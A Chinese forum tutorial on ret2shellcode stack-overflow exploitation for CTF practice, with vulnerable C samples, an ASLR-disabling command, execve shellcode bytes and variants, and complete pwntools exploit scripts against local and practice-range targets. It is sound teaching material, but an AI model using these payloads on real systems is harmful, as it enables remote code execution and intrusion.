找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖
Claude、GPT 海外模型 API 接入Claude skills 从入门到精通 吴恩达亲授 AI Agent 核心技能2026 瞪哥公务员考试全攻略 行测申论一站式系统备考
Agent 文心智能蒸馏模型实战 90G 课程智泊 AI 大模型训练营 基于 LangChain 的 RAG 与提示工程实战构建企业级 AI 大脑:大模型微调与 RAG / Agent 全栈实战

6204

积分

1

好友

778

主题
发表于 4 天前 | 查看: 0| 回复: 0

学了 Ret2Text 之后,大家肯定会冒出这样一个问题:如果程序里没有预留后门函数,那该怎么办?这就是 Ret2Shellcode 发挥作用的时候。

Ret2Text 的核心是直接调用 text 段中已有的函数,而 Ret2Shellcode 的思路则是自己动手构造一个函数。当程序存在缓冲区溢出漏洞,并且栈空间可执行(未开启 NX 保护)时,我们就能把自定义的 shellcode(机器码指令)写进程序栈,再利用溢出覆盖函数返回地址,让执行流跳转到栈上的 shellcode,最终弹出系统 shell。

操作流程

  • 利用缓冲区溢出,填充垃圾数据覆盖栈缓冲区;
  • 精准覆盖函数返回地址,将其改为栈上 shellcode 的起始地址;
  • 函数执行结束执行 ret 指令时,跳转至栈上 shellcode;
  • shellcode 被执行,获取系统 shell。

利用条件

  • 存在栈缓冲区溢出漏洞;
  • 未开启 NX 保护(栈可执行);
  • 可以泄露或精准计算出栈地址。

本地实操

1. 存在漏洞的 C 代码

#include <stdio.h>
#include <unistd.h>

void vuln()
{
    char buf[64];

    printf("buf = %p\n", buf);

    read(0, buf, 200);
}

int main()
{
    vuln();
    return 0;
}

2. 编译

gcc -fno-stack-protector -z execstack -no-pie -o pwnme test.c

3. 确认漏洞存在

程序写入的数据量超过了预分配的缓冲区大小,栈溢出漏洞自然就成立了。反汇编里栈上分配了 0x40 字节空间,但 read 最多能读入 0xc8 字节,溢出是毫无疑问的。

vuln 函数反汇编代码:确认栈溢出漏洞

只要覆盖满 0x40+8 就能到达 ret 的位置。下面这张栈帧示意图展示了具体的布局关系。

栈帧布局示意图:缓冲区溢出覆盖返回地址

由于这里没有可以直接利用的函数,所以我们需要自己创造一个函数出来。我们要创造的目标函数是:

execve("/bin/sh", NULL, NULL)

在 amd64 环境下,它对应的机器码是:

原始字节串:
b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
16进制字符串:
6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05

这里 pwntools 提供了一个快速生成 shellcode 的模块。用下面的方法可以直接生成,当然你也可以直接把上面的机器码复制过去用。

shellcraft.sh()

现在根据目标环境把 shellcode 转成汇编字节:

from pwn import *
context.arch = 'amd64'
context.os = 'linux'
sc = asm(shellcraft.sh())

4. 开始利用

第一步:覆盖到 0x40+8 的位置

payload = 'A'*(0x40+8)

ret 位置就是跳转地址。之前我们习惯在这里写跳转地址,但这次需要写 shellcode 的地址,也就是把 shellcode 放到返回地址之后的多余空间里。

要写这个地址,就得先知道内存地址。源码里已经打印了 buf 地址。本地练习时可以关闭 ASLR 地址随机化,让栈地址保持固定,方便漏洞复现。

# 临时关闭(重启失效)
echo 0 > /proc/sys/kernel/randomize_va_space

# 永久关闭(可选)
sudo vim /proc/sys/kernel/randomize_va_space
# 修改值为 0

第二步:确认栈地址

运行程序直接就能拿到地址:

 ./pwnme 
buf = 0x7fffffffe300

初始 buf 地址是 0x7fffffffe300,经过 0x40+8 的偏移之后,还要再算上 ret 本身占的 8 字节偏移,最终地址就是 0x40+16。

buf = 0x7fffffffe300
payload = b'A'*(0x40+8)
ret = 0x7fffffffe300+0x40+8+8
payload += ret 

第三步:写入 Shellcode

from pwn import *
context.arch = 'amd64'
context.os = 'linux'
sc = asm(shellcraft.sh())

buf = 0x7fffffffe300
payload = b'A'*(0x40+8)
ret = p64(buf+0x40+8+8)
payload += ret 
payload +=sc

第四步:组装最终 PoC

from pwn import *
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'
context.os = 'linux'
p = process('./pwnme')

sc = asm(shellcraft.sh())

buf = 0x7fffffffe300
payload = b'A'*(0x40+8)
ret = p64(buf+0x40+8+8)
payload += ret 
payload +=sc

p.send(payload)
p.interactive()

运行之后成功拿到 shell 权限。

checksec 安全属性检查:栈可执行且无 NX 保护

到这里,最简单最基础的 Ret2Shellcode 流程就完成了。

远程利用

远程地址: http://hbc.haobachang.com/see_bug_one?id=1410

前面我们关闭了 ASLR,所以地址固定,exp 可以直接硬编码。但远程主机普遍默认开启 ASLR,每次运行地址都会变化,这就要求我们动态提取地址。

先 nc 连一下,多执行几次就能看到每次 buf 都不一样。

远程连接靶场:泄露栈地址

远程靶场输出:buf 地址动态变化

这时就需要动态提取栈地址了。

recvuntil(delim)
持续接收数据,直到读到指定的分隔字节串 delim,然后停止接收;返回所有收到的数据,包含 delim 本身。

recvline
持续接收数据,直到读到换行符 \n 就停止,返回包含末尾 \n 的这一行字节数据。

根据这个思路写好 Python 脚本,运行:

from pwn import *
context.log_level = 'info'
io = remote('hbc2.haobachang.com', 17159)
io.recvuntil(b'[LEAK] buf = ')
buf_addr = int(io.recvline().strip(), 16)
buf_addr = hex(buf_addr)
log.success(f'{buf_addr}')

这样 buf_addr 就能动态提取出来了。

动态提取 buf 地址成功

接下来分析程序,先在反汇编里确认漏洞:栈上开辟了 0x50 空间,read 却可以读取 0xc8 字节,栈溢出是确定无疑的。

pwndbg 反汇编 vuln 函数:确认栈溢出漏洞

然后套用之前的方法写 PoC。这次加了详细注释,可以逐行对照:

from pwn import *
# 设置程序架构、系统等上下文信息,方便asm编译shellcode和p64打包地址
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'  # 64位程序
context.os = 'linux'  # linux系统
context.log_level = 'info'  # 日志等级,会打印成功、错误等信息

# 连接远程pwn靶机
io = remote('hbc2.haobachang.com', 10394)

# 接收直到字符串 [LEAK] buf = ,后面就是泄露出来的buf栈地址
io.recvuntil(b'[LEAK] buf = ')
# 读取一行地址,转成16进制整数,用于后续地址计算
buf_addr = int(io.recvline().strip(), 16)
# 打印泄露的buf地址(hex格式化输出,方便查看)
log.success(f'buf_addr = {hex(buf_addr)}')

# 生成linux amd64下的execve("/bin/sh",0,0) shellcode
sc = asm(shellcraft.sh())

# 填充垃圾数据:0x50是缓冲区大小,+8是rbp的8字节,合计覆盖到返回地址
payload = b'A'*(0x50+8)
# 构造跳转地址:覆盖返回地址,让ret执行时跳转到我们shellcode起始位置
# buf基地址 + 0x50+8(垃圾+rbp) +8(返回地址本身8字节) → shellcode起始处
ret_addr = p64(buf_addr + 0x50 + 8 + 8)
payload += ret_addr 
# 在跳转地址后面拼接shellcode
payload += sc

# 发送构造好的溢出payload
io.send(payload)
# 进入交互模式,拿到shell后可以直接输入命令
io.interactive()

执行之后成功拿到 flag。

远程利用成功:获取 flag

无法在尾巴写入 ShellCode 怎么办

如果遇到后面的缓冲区空间不够用的情况该怎么办?举个例子。

#include <stdio.h>
#include <unistd.h>

void vuln()
{
    char buf[80];

    printf("buf = %p\n", buf);

    read(0, buf, 96);
}

int main()
{
    vuln();
    return 0;
}

这里偏移是 0x50,要改写 ret 至少需要 16 字节,而 shellcode 本身也要占用空间。64+16=80,已经占满了,再往后写空间就不够了。聪明的你肯定想到了:那就把 shellcode 写在前面,然后跳转过去,这样空间就够了。

现在来写 PoC。先从头写 shellcode:

from pwn import *
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'
context.os = 'linux'
p = process('./pwnme')

p.recvuntil(b'buf = ')
buf_addr = int(p.recvline().strip(), 16)

sc = asm(shellcraft.sh())

payload = sc

然后算出偏移:

payload = sc
payload += b'A'*(0x50+8-len(sc))
payload += p64(buf)

最终脚本就是:

from pwn import *
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'
context.os = 'linux'
p = process('./pwnme')

p.recvuntil(b'buf = ')
buf_addr = int(p.recvline().strip(), 16)

sc = asm(shellcraft.sh())

payload = sc
payload += b'A'*(0x50+8-len(sc))
payload += p64(buf_addr) 

# 发送构造好的溢出payload
p.send(payload)
# 进入交互模式,拿到shell后可以直接输入命令
p.interactive()

执行一下。

本地利用成功:获取 root shell

有一道远程的题目可以练习: http://hbc.haobachang.com/see_bug_one?id=1411

shellcraft.sh() 浅析

出于学习目的,来看看 shellcraft.sh() 到底做了什么。之前说过,shellcraft.sh() 生成的函数原型是 execve("/bin/sh", NULL, NULL)。那为什么不用 system 呢?

1. 对比分析

  • system() 会调用 fork() 创建一个子进程,在子进程中执行 shell,同时父进程(原程序)会阻塞等待,直到子进程结束。执行完后,控制权会返回给父进程,程序继续往下运行。
  • execve() 不创建新进程。它会直接用 /bin/sh 的代码和数据覆盖当前进程的映像。一旦调用成功,当前进程的后续代码(包括 main 函数的剩余部分)永远不会执行,也就是说此刻你就是 /bin/sh。

并且 execve() 的系统调用号是固定的,不需要额外寻找地址;system 则需要找绝对地址。通过 execve() 构建的机器码具备复用性,所以在 pwn 场景下更常用 execve()。

现在来看一下 shellcraft.sh() 对应的汇编,首先用 echo 配合 ndisasm 查看反汇编,整个长度为 49 字节。

echo -ne "\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05" | ndisasm -b 64 -
0:    6a 68                   push   0x68
2:    48 b8 2f 62 69 6e 2f    mov    rax, 0x732f2f2f6e69622f ; "/bin///s"
      2f 2f 73
c:    50                      push   rax
d:    48 89 e7                mov    rdi, rsp ; rdi=栈上字符串地址
10:   68 72 69 01 01          push   0x01016972 ; 压入"ri"+两个0x01
15:   81 34 24 01 01 01 01    xor    dword [rsp], 0x01010101 ; 将"ri\x01\x01"变成"sh\x00\x00"
1c:   31 f6                   xor    esi, esi ; argv=NULL
1e:   56                      push   rsi
1f:   6a 08                   push   0x8
21:   5e                      pop    rsi ; rsi=8
22:   48 01 e6                add    rsi, rsp ; rsi=栈上"/bin/sh"地址+8
25:   56                      push   rsi ; 压入argv[0]指针
26:   48 89 e6                mov    rsi, rsp ; rsi=&argv[0]
29:   31 d2                   xor    edx, edx ; envp=NULL
2b:   6a 3b                   push   0x3b
2d:   58                      pop    rax ; rax=59(execve系统调用号)
2e:   0f 05                   syscall ; 触发系统调用

网上还有一些其他长度的 shellcode 变体。

2. 24 字节 shellcode

from pwn import *

context.arch = 'amd64'
context.os = 'linux'

shellcode = asm('''
    push 0x3b
    pop rax
    cdq   
    push rdx 
    mov rbx, 0x68732f6e69622f2f  
    push rbx
    push rsp
    pop rdi     
    push rdx
    push rdi
    push rsp
    pop rsi                 # rsi = argv 数组地址 (指向 [字符串地址, 0])
    syscall
''')

3. 22 字节 shellcode

sc = asm("""
    mov rbx, 0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b
    pop rax
    syscall
""")

之后可以专门写一篇深度分析,展开讲讲这些变体的原理。

有大小限制的栈溢出

看了上面的字节限制,聪明的你肯定想到,考题里必然会出现限制存储空间的场景。这不,它来了。

题目地址: http://hbc.haobachang.com/see_bug_one?id=1412

这里只给分配了 0x20 大小的空间,shellcraft.sh() 生成的 49 字节 shellcode 明显放不下,改用 22 字节版本即可。大家可以自行分析。

from pwn import *
context.binary = elf = ELF('./pwnme')
context.arch = 'amd64'
context.os = 'linux'
p = remote('hbc2.haobachang.com', 13553)

p.recvuntil(b'[LEAK] buf = ')
buf_addr = int(p.recvline().strip(), 16)
print(buf_addr)
#sc = asm(shellcraft.sh())

sc = asm("""
    mov rbx, 0x68732f6e69622f
    push rbx
    push rsp
    pop rdi
    xor esi,esi
    xor edx,edx
    push 0x3b 
    pop rax
    syscall
""")
payload = sc
payload += b'A'*(0x20+8-len(sc))
payload += p64(buf_addr) 
print(payload)
# 发送构造好的溢出payload
p.send(payload)
# 进入交互模式,拿到shell后可以直接输入命令
p.interactive()

总结

这一节主要带大家过了一遍 ret2shellcode 的利用思路:本地复现、远程动态提取地址、shellcode 的前置与后置写入,以及面对空间限制时的变通方法。更多 pwn 实战题解与解题思路,欢迎来 云栈社区 一起交流。




上一篇:Vue3 虚拟列表进阶:动态高度、滚动缓冲与异步加载如何实现
下一篇:Win11九月高危补丁翻车:域信任断裂,合法账号无法登录终端
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-9-25 05:41 , Processed in 2.102612 second(s), 46 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表